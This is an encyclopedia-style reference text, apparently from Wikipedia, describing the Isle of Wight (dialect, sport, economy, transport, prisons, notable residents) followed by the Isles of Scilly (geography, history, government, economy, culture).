          The distinctive Isle of Wight accent is a somewhat stronger version of the traditional Hampshire dialect, featuring the dropping of some consonants and an emphasis on longer vowels. This is similar to the West Country dialects heard in Southwestern England, but less removed in sound from the Estuary English of the Southeast. In common with many other English regional dialects and accents, a strong Island accent is not now commonly heard, and, as speakers tend to be older, this decline is likely to continue.


          The Island also has its own local and regional words. Some words, including grockle (visitor) and nipper/nips (a younger male person), are still commonly used and are shared with neighbouring areas. A few are unique to the Island, for example overner (a mainlander who has settled on the Island) and caulkhead (someone born on the Island or, for sticklers, those born there from long-established Island stock). Other words are more obscure and used now mainly for comic emphasis, such as mallishag (meaning caterpillar) and nammit ("noon-meat", meaning food). Some other words are "gurt" as in large or great, also "gallybagger" as in scarecrow..


          


          Sport


          Cowes is a world-famous centre for sailing, playing host to several racing regattas. Cowes Week is the longest-running regular regatta in the world, with over 1,000 yachts and 8,500 competitors taking part in over 50 classes of yacht racing. In 1851 the first America's Cup race took place around the Island. Other major sailing events hosted in Cowes include the Fastnet race, the Round the Island Race, the Admiral's Cup, and the Commodore's Cup.


          The Isle of Wight Marathon is the United Kingdom's oldest continuously held marathon, having been run every year since 1957.. The course starts in Ryde, passing through Newport, Shanklin and Sandown, before finishing back in Ryde. It is an undulating course with a total climb of 1,505 feet.


          The Island is home to the Isle of Wight Islanders Speedway team, who compete in the sport's second division, the 'Premier League'. The club was founded in 1996, with a first-night attendance of 1740. The Island is also home to the Wightlink Raiders, an ice hockey team based at Ryde Arena. They compete in the English Premier League, the 2nd Division in the country. There is also an ENL team, Vectis Warriors, also based at Ryde Arena.


          The Isle of Wight Hockey Club run three senior teams and a junior side, with the 1st XI competing in Hampshire's top division, just one below the regional leagues. The Island also has a ladies team - the Vectis Ladies - which is a separate organisation to the IW Hockey Club. Ventnor Middle School on the Isle of Wight runs a successful hockey set-up, producing a number of players who have since gone on to play at high standards.


          The now-disbanded Ryde Sports F.C. was founded in 1888 and became one of the eight founder members of the Hampshire League in 1896. There are several other non-league clubs such as Newport (IW) F.C. There is an Isle of Wight Saturday Football League with three divisions, and a rugby union club, plus various other sporting teams . Beach football is particularly prevalent on the Island and has several of the nation's premier clubs with almost all of the England Beach Soccer team made up from players from the Island.


          The Isle of Wight competes in the bi-annual Island Games, which it hosted in 1993. The Isle of Wight will host these games again in 2011.


          


          Music


          The Isle of Wight is also the home of the band " The Bees". Recently they have been having more national success and often perform at smaller concerts on the island. The Isle of Wight is also home to the Isle of Wight International Jazz Festival, the Isle of Wight Festival and the Bestival.


          


          Economy
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          This is a chart of trend of regional gross value added by the Isle of Wight economy at current basic prices by the Office for National Statistics with figures in millions of Pounds.


          
            
              	Year

              	Regional Gross Value Added

              	Agriculture

              	Industry

              	Services
            


            
              	1995

              	831

              	28

              	218

              	585
            


            
              	2000

              	1,202

              	27

              	375

              	800
            


            
              	2003

              	1,491

              	42

              	288

              	1,161
            

          


          


          Industry and agriculture


          The largest industry on the Isle of Wight is tourism, but the Island has a strong agricultural heritage, including sheep and dairy farming and the growing of arable crops. Traditional agricultural commodities are more difficult to market off the Island because of transport costs, but Island farmers have managed successfully to exploit some specialist markets. The high price of these products overcomes the transport costs. One of the most successful agricultural sectors at present is the growing of crops under cover, particularly salad crops, including tomatoes and cucumbers. The Isle of Wight has a longer growing season than much of the United Kingdom and this also favours such crops. Garlic has been successfully grown in Newchurch for many years, and is even exported to France. This has led to the establishment of an annual Garlic Festival at Newchurch, which is one of the largest events of the Island's annual calendar. The favourable climate has led to the success of vineyards, including one of the oldest in the British Isles, at Adgestone near Sandown. Lavender is also grown for its oil. The largest sector of agriculture has been dairying, but due to low milk prices, and strict UK legislation for UK milk producers, the dairy industry has declined. There were nearly one-hundred and fifty dairy producers of various sizes in the mid-eighties, but this has now dwindled down to just twenty-four.


          The making of sailcloth, boats and other connected maritime industry has long been associated with the Island, although this has somewhat diminished in recent years. Cowes is still home to various small marine-related companies such as boat-builders.


          Although they have reduced the extent of the plants and workforce, including the sale of the main site, GKN operates what was once the British Hovercraft Corporation a subsidiary of, and known latterly, when manufacturing focus changed, as Westland Aircraft. Prior to its purchase by Westland, it was the independent company known as Saunders-Roe. It remains one of the most notable historic firms, having produced many of the flying boats, and the world's first hovercraft.


          The Island's major manufacturing activity today is in composite materials, used by boat-builders and the wind turbine manufacturer Vestas, which has a wind turbine blade factory and testing facilities in Newport and East Cowes.


          Bembridge Airfield is the home of Britten-Norman, manufacturers of the world-famous Islander and Trislander aircraft. This is shortly to become the site of the European assembly line for Cirrus light aircraft. The Norman Aeroplane Company is a smaller aircraft manufacturing company operating in Sandown. There are have been 3 other aircraft manufacturers that built planes on the Island.


          In 2005, Northern Petroleum began exploratory drilling for oil, with its Sandhills-2 borehole at Porchfield but ceased operations in October that year, after failing to find significant reserves.


          


          Breweries


          There are three breweries on the Island. Goddards Brewery in Ryde opened in 1993. David Yates, who was head brewer of Burts and Island Brewery, started brewing as Yates Brewery at the Inn at St Lawrence in 2000. Ventnor Brewery, under new management, is the latest incarnation of Burt's Brewery, which has been brewing on the Island since the 1840s in Ventnor. . Until the 1960's most pubs were owned by Mews Brewery sited in Newport near the old railway station, but it closed and the pubs taken over by Strongs and then by Whitbread. By some accounts Mews beer was apt to be rather cloudy and dark. They pioneered the use of cans in the 19th century for export to British India. The old brewery was derelict for many years but was then severely damaged in a spectacular fire


          


          Services


          


          Tourism and heritage
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          The heritage of the Island is a major asset, which has for many years kept its economy going. Holidays focused on natural heritage, including both wildlife and geology, are becoming a growing alternative to the traditional seaside resort holiday. The latter has been in decline in the United Kingdom domestic market, due to the increased affordability of air travel to alternative destinations.


          Tourism is still the largest industry on the Island. In 1999, the 130,000 Island residents were host to 2.7 million visitors. Of these, 1.5 million stayed overnight, and 1.2 million visits were day visits. Only 150,000 of these visitors were international visitors. Between 1993 and 2000, visits increased at a rate of 3% per year, on average.


          At the turn of the nineteenth century the Island had ten pleasure piers including two at Ryde and a "chain pier" at Seaview. The Victoria Pier in Cowes succeeded the earlier Royal Pier but was itself removed in 1960. The piers at Ryde, Seaview, Sandown, Shanklin and Ventnor originally served a coastal steamer service that operated from Southsea on the mainland. The piers at Seaview, Shanklin, Ventnor and Alum Bay were all destroyed by storms during the last century. Today only the railway pier at Ryde and the piers at Sandown, Totland Bay (currently closed to the public) and Yarmouth survive. Blackgang Chine is arguably the oldest theme park in the UK, and one of the oldest in the world.


          As well as more traditional tourist attractions, the Island is often host to walking holidays . or cycling holidays through the attractive scenery. Almost every town and village on the Island plays host to hotels, hostels and camping sites. Out of the peak summer season, the Island is still an important destination for coach tours from other parts of the United Kingdom and an annual walking festival has attracted considerable interest.


          A major contribution to the local economy comes from sailing and marine-related tourism.


          


          Transport
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          The Isle of Wight has a total of 489 miles of roadway. Major roads run between the main island towns, with smaller roads connecting villages. It is one of the few counties in the UK not to have a motorway, as the islands largest road is only a dual carriageway, running from Coppins Bridge in Newport, towards the north of Newport near the Islands Hospital and Prisons.


          A comprehensive bus network, operated by Southern Vectis links most island settlements with Newport as the central hub.


          The island's location 5 miles off the mainland means the most common form of transport is by boat. Car ferry and passenger services are run by Wightlink and Red Funnel as well as a hovercraft operated by Hovertravel. However, fixed links have also been proposed.


          The Island is home to the smallest train operating company in the United Kingdom's National Rail network, the Island Line, running a little under 14 kilometres (about 8.5 miles) from Ryde Pier Head to Shanklin.


          There are currently two airfields for general aviation, Isle of Wight Airport at Sandown and Bembridge Airport.


          


          Communications


          All of the Island telephone exchanges are broadband-enabled and in addition, some urban areas such as Cowes and Newport are covered by cable lines. Some areas, such as Arreton, have no broadband access in certain places.


          Media


          The Isle of Wight has one local broadsheet newspaper, The Isle of Wight County Press. It discusses local issues and is published each Friday, or on the last working day if a public holiday falls on a Friday.


          The Island had a television station called Solent TV from 2002 until its closure on Thursday, 24th May, 2007.


          The Island has two native, commercial radio stations and has access to other nearby local stations based off the Island. Since 1998, Isle of Wight Radio has broadcast on 107 and 102 FM, as well as on the internet, and on the AM band since 1990. In 2007, Angel Radio began broadcasting on 91.7 FM from studios in Cowes.


          Active local websites with coverage of Island news include Ventnor Blog and Island Pulse.


          


          Prisons


          The Island geography, close to the densely populated south of England, led to it gaining three prisons: Albany, Camp Hill and Parkhurst which are located outside Newport on the main road to Cowes. Albany and Parkhurst were once among the few Category A prisons in the UK until they were downgraded in the 1990s. The downgrading of Parkhurst was precipitated by a major escape: three prisoners (two murderers and a blackmailer) made their way out of the prison on 3 January 1995 for four days of freedom before being recaptured. Parkhurst especially enjoyed notoriety as one of the toughest jails in the British Isles and "hosted" many notable inmates, including the Yorkshire Ripper Peter Sutcliffe and the Kray twins.


          Camp Hill is located to the west of, and adjacent to, Albany and Parkhurst, on the very edge of Parkhurst Forest, having been converted first to a borstal and later to later a category C prison. It was originally on the site of an army camp (both Albany and Parkhurst were barracks), where there is a small estate of tree-lined roads with well-proportioned officers' quarters (with varying grandeur according to rank, but now privately owned), to the south and east.


          


          Education


          There are sixty-nine Local Education Authority-maintained schools on the Isle of Wight, and two independent schools. As a rural community, many of these schools are small, with average numbers of pupils lower than in many urban areas. There are currently five high schools. However, there are plans to close at least one of the high schools. There is also the Isle of Wight College, which is located on the outskirts of Newport.


          The Island implements a middle school system.


          


          Famous residents


          Over the years, the island has had many well-known visitors. Many come over for health reasons due to the cool sea breeze and clean air. For example, Winston Churchill and Karl Marx were visitors to the Island. Notable residents include:


          
            	Future Roman Emperor Vespasian, 44CE


            	Robert Hooke, a 17th century natural philosopher and polymath, is perhaps best known for his definition of Hooke's Law of Elasticity, but he also coined the term "cell" to define the basic unit of life and made valuable contributions in the fields of physics, astronomy and microscopy.


            	Henry Sewell, first Prime Minister of New Zealand.


            	Alfred Tennyson, who was Poet Laureate to Queen Victoria, lived at Freshwater and became Baron Tennyson of Aldworth in the County of Sussex and of Freshwater in the Isle of Wight.


            	Tennyson's friend Julia Margaret Cameron, a renowned portrait and creative photographer, lived nearby at Dimbola Lodge which is now a museum dedicated to her work.


            	Sir Christopher Cockerell, inventor of the hovercraft, lived in East Cowes while it was being developed by Saunders-Roe.


            	Alan Titchmarsh, the renowned UK gardener, is High Sheriff of the Isle of Wight in 2008/9.


            	Indie rock group The Bees is from the Isle of Wight.


            	David Icke - Author

          


          


          Selected places of interest
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            	Alum Bay


            	Appuldurcombe House [image: English Heritage]


            	Blackgang Chine


            	Brading Roman Villa [image: Image:CL icon.PNG], associated with King Henry VIII
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              An aerial photo of the islands
            


            
              	Geography
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              Location in relation to Cornwall
            


            
              	Location

              	Atlantic Ocean, 45km (28mi) off the coast of Great Britain
            


            
              	Coordinates

              	Coordinates:
            


            
              	Total islands

              	5 inhabited, 140 others
            


            
              	Major islands

              	St Mary's, Tresco, St Martins, Bryher, St Agnes
            


            
              	Area

              	16.33km (6.3sqmi)

              ( ranked 351st)
            


            
              	Highest point

              	()
            


            
              	Administration
            


            
              	[image: Flag of the United Kingdom]United Kingdom
            


            
              	Status

              	Sui generis, Unitary
            


            
              	Largest city

              	Hugh Town(1,068)
            


            
              	Leadership

              	Cllr. Mrs. Christine Savill
            


            
              	Executive

              	Philip Hygate B.A., F.R.S.A.
            


            
              	MP

              	Andrew George
            


            
              	Demographics
            


            
              	Population

              	2,100 ( ranked 354th) (as of 2006)
            


            
              	Density

              	129 / km/km
            


            
              	Ethnic groups

              	99.6% Caucasian
            

          


          The Isles of Scilly ( Cornish: Ynysek Syllan) form an archipelago off the southwestern tip of Great Britain. Traditionally administered as part of the county of Cornwall, the islands now have their own Council of the Isles of Scilly. They are also designated the Isles of Scilly Area of Outstanding Natural Beauty.


          The correct name for the islands is the Isles of Scilly, or simply Scilly; the people of Scilly consider the terms "Scillies" and "Scilly Isles" to be incorrect. The adjective "Scillonian" is sometimes used for people or things related to the archipelago.


          


          Geography


          The Isles of Scilly, the most westerly part of England, form an archipelago of six inhabited islands and numerous other small rocky islets (around 140 in total) lying 45km (28 miles) off Land's End. The table provides an overview of the most important islands:


          
            
              	Island

              	Population

              ( Census

              2001)

              	Area

              km

              	Main

              settlement
            


            
              	St Mary's

              	1,666

              	6.29

              	Hugh Town
            


            
              	Tresco

              	180

              	2.97

              	New Grimsby
            


            
              	St Martin's (with White Island)

              	142

              	2.37

              	Higher Town
            


            
              	St Agnes

              	70

              	1.48

              	Saint Agnes
            


            
              	Gugh

              	3

              	
            


            
              	Bryher (with Gweal)

              	92

              	1.32

              	Bryher
            


            
              	Samson

              	-(1)

              	0.38

              	
            


            
              	Annet

              	-

              	0.21

              	
            


            
              	St. Helen's

              	-

              	0.20

              	
            


            
              	Ten

              	-

              	0.16

              	
            


            
              	Great Ganilly

              	-

              	0.13

              	
            


            
              	remaining 45 islets

              	-

              	0.50

              	
            


            
              	Isles of Scilly

              	2,153

              	16.03

              	Hugh Town
            

          


          (1) inhabited until 1855


          The islands' position produces a place of great contrastthe ameliorating effect of the sea means they rarely have frost or snow, which allows local farmers to grow flowers well ahead of those on the island of Britain. The largest agricultural product is cut flowers, mostly daffodils. Exposure to Atlantic winds means that spectacular winter gales lash the islands from time to time.


          This is reflected in the landscape, most clearly seen on Tresco where the lush sub-tropical Abbey Gardens on the sheltered southern end of the island contrast with the low heather and bare rock sculpted by the wind on the exposed northern end.


          As part of a 2002 marketing campaign, the plant conservation charity Plantlife chose Thrift (Armeria maritima) as the "county flower" of the islands.


          


          History
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              St Martin's taken from the helicopter to Penzance
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              View from Tresco, the second largest member of the Isles of Scilly
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              Looking across Tresco, one of the 5 inhabited islands of the Isles of Scilly 28 miles from the coast of Cornwall in the United Kingdom
            

          


          Scilly has been inhabited since the Stone Age and its history has been one of subsistence living until the 20th century with people living off the land and the sea. Farming and fishing continue today, but the main industry now is tourism.


          The islands may correspond to the Cassiterides (Tin Isles) visited by the Phoenicians and mentioned by the Greeks. However, the archipelago itself does not contain much tin - it may be that they were used as a staging post from the mainland.


          It is likely that until relatively recently the Isles were much larger with many of them joined into one island and that the land has subsided. Evidence for this includes:


          
            	A description in Roman times describes Scilly as "Scillonia insula" in the singular, as if there was an island much bigger than any of the others.


            	Remains of a prehistoric farm have been found on Nornour, which is now a small rocky skerry far too small for farming.


            	At certain low tides the sea becomes shallow enough for people to walk between some of the islands. This is possibly one of the sources for stories of drowned lands, e.g., Lyonesse.


            	Ancient field walls are visible below the high tide line off some of the islands (e.g. Samson).


            	Some of the Cornish language placenames also appear to reflect past shorelines, and former land areas.

          


          Offshore, midway between Land's End and the Isles of Scilly, is the supposed location of the mythical lost land of Lyonesse, referred to in Arthurian literature. This may be a folk memory of inundated lands, but this legend is also common amongst the Brythonic peoples; the legend of " Ys" is a parallel and cognate legend in Brittany.


          


          Norse and Norman period
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          It is generally considered that Cornwall, and possibly the Isles of Scilly came under the dominion of the English Crown in the time of Athelstan's rule, i.e. 924-939, if the English crown as such can be said to have actually existed at that time.


          During the latter part of the pre-Norman period, the eastern seaboard of modern-day England came increasingly under the sway of the Norse. The Isles of Scilly, called Syllingar by the Norse, themselves came under Viking attack, as it is recorded in the Orkneyinga saga - Swein Asleifsson "went south, under Ireland, and seized a barge belonging to some monks in Syllingar and plundered it." (Chap LXXIII)


          
            	"...the three chiefs - Swein , orbjrn and Eirik - went out on a plundering expedition. They went first to the Sureyar [Hebrides], and all along the west

          


          to the Syllingar, where they gained a great victory in Maruhfn on Columba's-mass [9th June], and took much booty. Then they returned to the Orkneys."</quote>


          "Maruhfn", literally means "Mary's Harbour/Haven". The name doesn't make it clear whether it referred to a harbour on a larger island than today's St Mary's, or a whole island.


          In 995 Olaf Tryggvason would become King Olaf I of Norway. Born c. 960, Olaf had raided various European cities and fought in several wars. In 986 however, he (supposedly) met a Christian seer on the Isles of Scilly. In Snorre Sturlason's Royal Sagas of Norway, it is stated that this seer told him:


          
            	Thou wilt become a renowned king, and do celebrated deeds. Many men wilt thou bring to faith and baptism, and both to thy own and others' good; and that thou mayst have no doubt of the truth of this answer, listen to these tokens. When thou comest to thy ships many of thy people will conspire against thee, and then a battle will follow in which many of thy men will fall, and thou wilt be wounded almost to death, and carried upon a shield to thy ship; yet after seven days thou shalt be well of thy wounds, and immediately thou shalt let thyself be baptized.

          


          The legend continues that, as the seer foretold, Olaf was attacked by a group of mutineers upon returning to his ships. As soon as he had recovered from his wounds, he let himself be baptized. He then stopped raiding Christian cities and lived in England and Ireland. In 995 he used an opportunity to return to Norway. When he arrived, the Haakon Jarl was already facing a revolt. Olaf Tryggvason convinced the rebels to accept him as their king, and Haakon Jarl killed by his own slave, while he was hiding from the rebels in a pig sty.)


          Eventually England became ruled by Norse monarchs, and the Anglo-Saxon kingdoms fell one by one, with Wessex being conquered in 1013 by King Sweyn Forkbeard. Notably, while Sweyn's realms, which included Denmark and Norway in the north, and modern-day English areas such as Mercia (an Anglian kingdom of the current Midlands), much of which, along with northern England, fell under the " Danelaw". But while Sweyn ruled Wessex, along with his other realms, from 1013 onwards, followed by his son Canute the Great, the Isles of Scilly were not part of his realm of Wessex.


          With the Norman Conquest, the Isles of Scilly came more under centralised control. About twenty years later, the Domesday survey was conducted. The islands would have formed part of the " Exeter Domesday" circuit, which included Cornwall, Devon, Dorset, Somerset, and Wiltshire.


          


          Middle Ages and early modern period


          At the turn of the 14th century, the Abbot and convent of Tavistock Abbey petitioned the king saying that


          
            	"state that they hold certain isles in the sea between Cornwall and Ireland, of which the largest is called Scilly, to which ships come passing between France, Normandy, Spain, Bayonne, Gascony, Scotland, Ireland, Wales and Cornwall: and, because they feel that in the event of a war breaking out between the kings of England and France, or between any of the other places mentioned, they would not have enough power to do justice to these sailors, they ask that they might exchange these islands for lands in Devon, saving the churches on the islands appropriated to them."

          


          William le Poer, coroner of Scilly is recorded in 1305, about being worried about the extent of wrecking in the islands, and sent a petition to the King. The names provide a wide variety of origins, e.g. Robert and Henry Sage (English), Richard de Tregenestre (Cornish), Ace de Veldre (French), Davy Gogch (possibly Welsh, or Cornish), and Adam le Fuiz Yaldicz (?Spanish)


          In 1375, Boreman, with 28 mariners, was captured in the Isles of Scilly in a barge of Normandy by Fulbroke, Borde and others and brought to Bristol as prisoners.


          It is not known at exactly what time the islands' inhabitants stopped speaking Cornish, but it seems to have gone into decline during the Middle Ages, and lost the language before parts of Penwith. The islands thus appeared to have lost the old Celtic language before parts of the mainland, in contrast to the situation of Irish or Scottish Gaelic.


          During the English Civil War, the Parliamentarians captured the isles, only to see its garrison mutiny and return them to the Royalists. By 1651, the Royalist governor, Sir John Grenville, was using the islands as a base of privateering raids on Commonwealth and Dutch shipping. It was during this period that the Three Hundred and Thirty Five Years' War started between the isles and the Netherlands. In June 1651, Admiral Robert Blake captured the isles for the Parliamentarians. Blake's initial attack, on Old Grimsby, failed, but the next attacks, succeeded in taking Tresco and Bryher. Blake set up a battery on Tresco to fire on St. Mary's, but one of the guns exploded, killing its crew and injuring Blake himself. Still, a second battery proved more successful. Consequently, Grenville and Blake negotiated terms that permitted the Royalists to surrender honorably. The Parliamentary forces then set to fortifying the islands. They built Cromwell's Castle - a gun platform on the west side of Tresco - using materials scavenged from an earlier gun platform further up the hill. Although this poorly sited earlier platform dated back to the 1550s, it is now referred to King Charles's Castle.


          The islands appear to have been depredated frequently by Barbary pirates.


          


          Modern period


          Scilly is famous for its danger to shipping and its many shipwrecks. The wreck of Sir Cloudesley Shovell's ship HMS Association and three others of his fleet in 1707 off the Isles of Scilly due to inaccuracies in navigation led to the establishment of the Board of Longitude and consequently the development of the method of lunar distances, and to the invention of the marine chronometer by John Harrison, the first reliable methods of determining longitude at sea.


          The sea has always played a huge part in Scillonian history but it was in the 19th century that Scilly had its maritime heyday. Beaches which are now enjoyed by sunbathers were then factories for shipbuilding; the harbours now full of pleasure boats were once packed with local and visiting fishing and trading boats.


          In 1834, Augustus Smith acquired the lease on the Isles of Scilly from the Duchy of Cornwall for 20,000, and set about changing the islanders' way of life, expelling those who could not find a job locally and evicting some of the inhabitants of smaller islands, in a manner similar to that practiced in the Scottish clearances. In 1855, he expelled the ten inhabitants of Samson, in order to turn the island into a deer park. (The deer did not like the habitat, and escaped.)
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              A map of the Isles of Scilly from 1945
            

          


          Smith created the quasi-aristocratic title Lord Proprietor for himself, and, many of his actions were unpopular. However, it can be said that not all his actions were detrimental to the inhabitants, for example, besides building a new quay at Hugh Town on St. Mary's, he sowed gorse and trees to provide shelter for the agricultural land. He built schools on the well-inhabited islands. These were the first compulsory schools in the whole of Britain. It cost one penny a time but if you missed school then it was 2d.


          The archipelago became fairly popular in the 20th century as a holiday and holiday home location. For example, former Prime Minister Harold Wilson regularly holidayed on the Isles and eventually bought a cottage there as a holiday home. He is buried on St Mary's. His widow Mary Wilson is still a frequent visitor.


          


          Government
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          Local government


          Historically, the Isles of Scilly were administered as one of the hundreds of Cornwall, although the Cornwall quarter sessions had limited jurisdiction there. The archipelago is part of the Duchy of Cornwall, the Duke being the heir to the British throne, and he is allowed special rights and privileges in the islands.


          The Local Government Act 1888 allowed the Local Government Board to establish in the Isles of Scilly "councils and other local authorities separate from those of the county of Cornwall"... "for the application to the islands of any act touching local government." Accordingly, in 1890 the Isles of Scilly Rural District Council (the RDC) was formed as a sui generis unitary authority, outside the administrative county of Cornwall. Cornwall County Council provided some services to the Isles, for which the RDC made financial contributions. Section 265 of the Local Government Act of 1972 allowed for the continued existence of the RDC, but renamed as the Council of the Isles of Scilly.


          This unusual status also means that much administrative law (for example relating to the functions of local authorities, the health service and other public bodies) that applies in the rest of England applies in modified form in the islands.


          With a total population of just over 2,000, the council represents fewer inhabitants than many U.K parish councils, and is by far the smallest unitary council within the UK. In 2005, there were 21 elected councillors (all independent), 13 elected by St Mary's residents and two each, elected by residents of Bryher, St Martins, St Agnes and Tresco. There are some 164 staff employed by the council. These numbers are significant in that almost 10 per cent of the population is directly linked to the council as either an employee or councillor.


          For judicial, shrievalty and lieutenancy purposes the Isles of Scilly are "deemed to form part of the county of Cornwall".


          


          National government


          The phrase "England and Cornwall" (or the Latin equivalent Anglia et Cornubia) remained in use after the Norman Conquest. Before the Tudor period, laws were typically designated as taking effect in Anglia et Cornubia. A similar situation exists today with the Isles of Scilly within Cornwall (i.e Cornwall and the Isles of Scilly). Both the relationship of Cornwall to the Isles of Scilly, and the constitutional status of Cornwall are a matter of some debate.


          Politically, the islands are part of the United Kingdom. They are represented in the United Kingdom Parliament as part of the St Ives constituency, currently held by Andrew George of the Liberal Democrats.


          As part of the United Kingdom, the islands are part of the European Union and are represented in the European Parliament as part of the multi-member South West England constituency. The Isles of Scilly are not the most remote part of this constituency, as it also includes the United Kingdom dependent territory of Gibraltar.


          


          Flags


          There are primarily two flags used to represent Scilly:


          
            	The flag of the Council of the Isles of Scilly, which incorporates their logo.


            	The unofficial Scillonian Cross, voted for by readers of Scilly News

          


          An adapted version of the old Board of Ordnance flag has also been used, after it was left behind when munitions were removed from the isles. The Cornish Ensign has also been used.


          


          Education


          Education is available on the islands up to age 16. There is one school, the Five Islands School, which provides primary schooling at sites on St Agnes, St Mary's, St Martin's and Tresco, and secondary schooling at a site on St Mary's. Secondary students from outside St Mary's live at a hostel during the week. In 2004, 93% of pupils (26 out of 28) achieved 5 or more GCSEs at grade C and above, compared to the English average of 53.7%. Sixteen to eighteen year olds are entitled to a free sixth form place at a state school or sixth form college on the mainland, and are provided with free flights and a grant towards accommodation. Post eighteen, suitably qualified students attend universities and colleges on the mainland.


          


          Subdivisions


          The Isles of Scilly are subdivided into four wards that have no administrative function, but only serve statistical purposes :


          
            	St. Agnes


            	St. Martin's


            	St. Mary's


            	Tresco

          


          The list of parishes, also without any administrative function since 1929, numbers five :


          
            	Bryher


            	St. Agnes


            	St. Martin's


            	St. Mary's


            	Tresco

          


          


          Economy


          


          Historical context


          Since the mid-eighteenth century the Scillionian economy has relied on trade with the mainland and beyond as a means of sustaining its population. Over the years the nature of this trade has varied, due to wider economic and political factors that have seen the rise and fall of industries such as kelp harvesting, pilotage, smuggling, fishing, shipbuilding and, latterly, flower farming. In a study of the Scillionian economy by Neate in 1987, it was found that many farms on the islands were struggling to remain profitable due to increasing costs and strong competition from overseas producers resulting in a diversification into tourism. Recent statistics suggest that agriculture on the islands now represent less than 2 percent of all employment.


          


          Tourism


          
            [image: St. Martins]

            
              St. Martins
            

          


          Today, tourism is estimated to account for 85 per cent of the island's income. The islands have been efficient in attracting this investment due to its unique environment, favourable summer climate, relaxed culture, efficient co-ordination of tourism providers and good transport links by sea and air to the mainland, uncommon in scale to similar sized island communities. The majority of visitors stay on St Mary's, which has a concentration of holiday accommodation and other amenities. Of the other inhabited islands, Tresco is run as a timeshare resort, and is consequently the most obviously tourist-orientated. Bryher and St Martin's are more unspoilt, although each has a hotel and other accommodation. St Agnes has no hotel and is the least developed of the islands.


          However the level of dependency on tourism is high, even by the standards of other island communities. The concentration [on] a small number of sectors is typical of most similarly sized UK island communities. However, it is the degree of concentration, which is distinctive along with the overall importance of tourism within the economy as a whole and the very limited manufacturing base that stands out.


          Due to its scale, tourism stands to justify the existence of many other island activities, for example, transport links to the mainland which could not be maintained with reduced visitor numbers. Therefore the implications of tourism are far ranging, as they essentially affect the sustainability of the whole community.


          Tourism is also a highly seasonal industry due to its reliance on outdoor recreation, and the low level of tourist activity in winter causes a near shutdown of the islands during that season. However, the tourist season benefits from an extended period of business in October when many birdwatchers (or birders) arrive. Because of its position, Scilly is the first landing for many migrant birds, including extreme rarities from North America and Siberia.


          


          Employment


          The predominance of tourism means that "tourism is by far the main sector throughout each of the individual islands, in terms of employment [and] this is much greater than other remote and rural areas in the United Kingdom. Tourism accounts for approximately 63 per cent of all employment.


          Businesses dependent on tourism, with the exception of a few hotels, tend to be small enterprises typically employing fewer than 4 people and many of these are family run suggesting an entrepreneurial culture amongst the local population. However, much of the work generated by this, with the exception of management, is low skilled and thus poorly paid, especially for those involved in cleaning, catering and retail.


          Because of the seasonality of tourism, many jobs on the islands are seasonal and part time as work cannot be guaranteed throughout the year. Some islanders take up other temporary jobs out of season to compensate for this. Due to a lack of local casual labour at peak holiday times, many of the larger employers accommodate guest workers who come to the islands for the summer to have a working holiday.


          


          Transport


          The islands are linked to the mainland by both air and sea services, and rely on boat services for inter-island connections. St. Mary's is the only island with a significant road network.
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          By air, the islands are served by St. Mary's Airport on the main island of St. Mary's and by Tresco Heliport on the island of Tresco. The following air services currently operate:


          
            	Helicopter services, operated by British International Helicopters, from Penzance Heliport to St. Mary's Airport and Tresco Heliport.


            	Fixed-wing aircraft services, operated by Isles of Scilly Skybus, from various UK airports ( Land's End, Newquay, Exeter, Bristol and Southampton) to St Mary's Airport.

          


          By sea, the Isles of Scilly Steamship Company provides a passenger and cargo service from Penzance to St Mary's: Scillonian III passenger ferry and Gry Maritha cargo vessel. The other islands are linked to St. Mary's by a network of inter-island launches.


          


          Real estate


          The freehold of the islands is the property of the British Crown (except for Hugh Town on St Mary's, which was sold to the inhabitants in 1949). The crown estate on the islands is administered by the Duchy of Cornwall. The duchy also holds 3,921acres (16km) as duchy property, part of the duchy's landholding.


          Housing availability is a contentious yet critical issue for the Isles of Scilly, especially as it affects the feasibility of residency on the islands. Few properties are privately owned, with many units being let by the Duchy of Cornwall, the Council, and a few by housing associations. The management of these subsequently impacts the possibility of residency on the islands.


          Housing demand outstrips supply, a problem compounded by restrictions on further development designed to protect the islands' unique environment and prevent the infrastructural carrying capacity from being exceeded. This has pushed up the prices fetched for the few private properties that become available, but significantly for the majority of the island's population, this has also impacted the rental sector where rates have likewise drastically increased.


          High housing costs pose significant problems of affordability for the local population, especially as local incomes (in Cornwall) are only 70% of the national average, whilst house prices are almost 5,000 more than the national average. This in turn affects the retention of key workers and the younger generation, which has a consequent impact upon the viability of the school(s) and other essential community services.


          The access to housing provokes strong local politics. It is often assumed that tourism is to blame for this, attracting incomers to the area who can afford to out-price locals for available housing. Many buildings are used for tourist accommodation which reduces the number available for local residency. Second homes are also thought to account for a significant proportion of the housing stock, leaving many buildings empty for much of the year.


          


          Area of Outstanding Natural Beauty


          In 1975, the islands were designated as an Area of Outstanding Natural Beauty. The designation covers the entire archipelago, including the uninhabited islands and rocks, and is the smallest such area in the UK. The islands of Annet and Samson have large terneries and the islands are well populated by seals. The Isles of Scilly are the only British haunt of the Lesser White-toothed Shrew (Crocidura suaveolens).


          The islands are famous amongst birdwatchers, especially twitchers for their almost magnetic ability to attract rare birds from all corners of the globe. The peak time of year for this is generally in October when it is not unusual for several of the rarest birds in Europe to share this archipelago. One reason for the success of these islands in producing rarities is the extensive coverage these islands get from birdwatchers, but island archipelagos are favoured by rare birds which like to make landfall and eat before continuing their journeys and often arrive on far flung islands first.


          


          Culture


          


          People


          The vast majority of the population are either Cornish or English, the latter mainly from the Home Counties, and the ethnic makeup of the islands is almost exclusively white European. As with other parts of the UK, a large number of Central and Eastern Europeans, particularly Poles have been brought in to do low paid labour in the early 21st century.


          Whilst there is little evidence to substantiate the claim, it is sometimes rather tenuously suggested, that the early inhabitants of the islands may have had a genetic link to the "Ancient British" who inhabited the islands long before the arrival of the Celts or Romans.


          The criterion for claiming oneself to be a "Scillonian" typically relies on proof of being "island-born". Recent evidence from Essex University indicates that the young indigenous Cornish are increasingly underrepresented in the demographic profile, having been economically and socially displaced by older mainland-incomers. Census and subjective observations suggest that the ethnic makeup of the islands is almost exclusively white.


          


          Sport


          One continuing legacy of the isles' past is gig racing, wherein fast rowing boats ("gigs") with crews of six (or in one case, seven) race between the main islands. Gig racing has been said to derive from the race to collect salvage from shipwrecks on the rocks around Scilly, but the race was actually to deliver a pilot onto incoming vessels, to guide them through the hazardous reefs and shallows. (The boats are correctly termed "pilot gigs".)


